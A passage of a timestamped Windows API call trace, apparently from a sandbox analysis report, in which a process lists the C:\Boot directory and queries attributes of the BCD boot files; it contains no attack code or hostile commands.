ftLastAccessTime.dwLowDateTime=0x28c3faf0, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0x28c3faf0, ftLastWriteTime.dwHighDateTime=0x1d2f180, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0121.744] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede00) returned 1 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot", lpFilePart=0x0) returned 0x7 [0121.744] GetFullPathNameW (in: lpFileName="C:\\Boot\\", nBufferLength=0x105, lpBuffer=0x1ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\", lpFilePart=0x0) returned 0x8 [0121.744] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x1edaa0 | out: lpFindFileData=0x1edaa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0121.745] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.745] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd70c6e10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xd70c6e10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0121.745] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd6e3f6b0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0121.745] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0121.745] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0121.745] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0121.746] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0121.746] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43cb740, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43cb740, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43cb740, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0121.746] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0121.746] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0121.746] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd43f18a0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd43f18a0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd43f18a0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4652ea0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4652ea0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0121.747] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0121.748] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0121.748] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0121.748] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0121.748] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0121.748] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0121.749] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0121.749] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd443db60, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd443db60, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0121.749] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd443db60, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0121.749] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0121.749] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0121.750] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0121.750] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4463cc0, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4463cc0, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0121.750] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4463cc0, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0121.750] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0121.751] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0121.751] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1edaf0 | out: lpFindFileData=0x1edaf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4489e20, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4489e20, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4489e20, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0121.751] FindClose (in: hFindFile=0x1c5bf0d0 | out: hFindFile=0x1c5bf0d0) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd50) returned 1 [0121.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd10) returned 1 [0121.751] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD", lpFilePart=0x0) returned 0xb [0121.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.751] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd70c6e10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xd70c6e10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD", lpFilePart=0x0) returned 0xb [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.752] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd70c6e10, ftLastAccessTime.dwHighDateTime=0x1d5e888, ftLastWriteTime.dwLowDateTime=0xd70c6e10, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x6000)) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x0) returned 0xf [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.752] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd6e3f6b0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.752] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG", lpFilePart=0x0) returned 0xf [0121.752] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.752] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd6e3f6b0, ftLastWriteTime.dwHighDateTime=0x1d5e888, nFileSizeHigh=0x0, nFileSizeLow=0x5400)) returned 1 [0121.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.753] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG1", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG1", lpFilePart=0x0) returned 0x10 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.753] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.753] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG1", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG1", lpFilePart=0x0) returned 0x10 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.753] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd469f160, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0121.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edda0) returned 1 [0121.753] GetFullPathNameW (in: lpFileName="C:\\Boot\\BCD.LOG2", nBufferLength=0x105, lpBuffer=0x1ed9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\BCD.LOG2", lpFilePart=0x0) returned 0x10 [0121.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edde0) returned 1 [0121.754] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), fInfoLevelId=0x0, lpFileInformation=0x1edec0 | out: lpFileInformation=0x1edec0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd469f160, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd469f160, 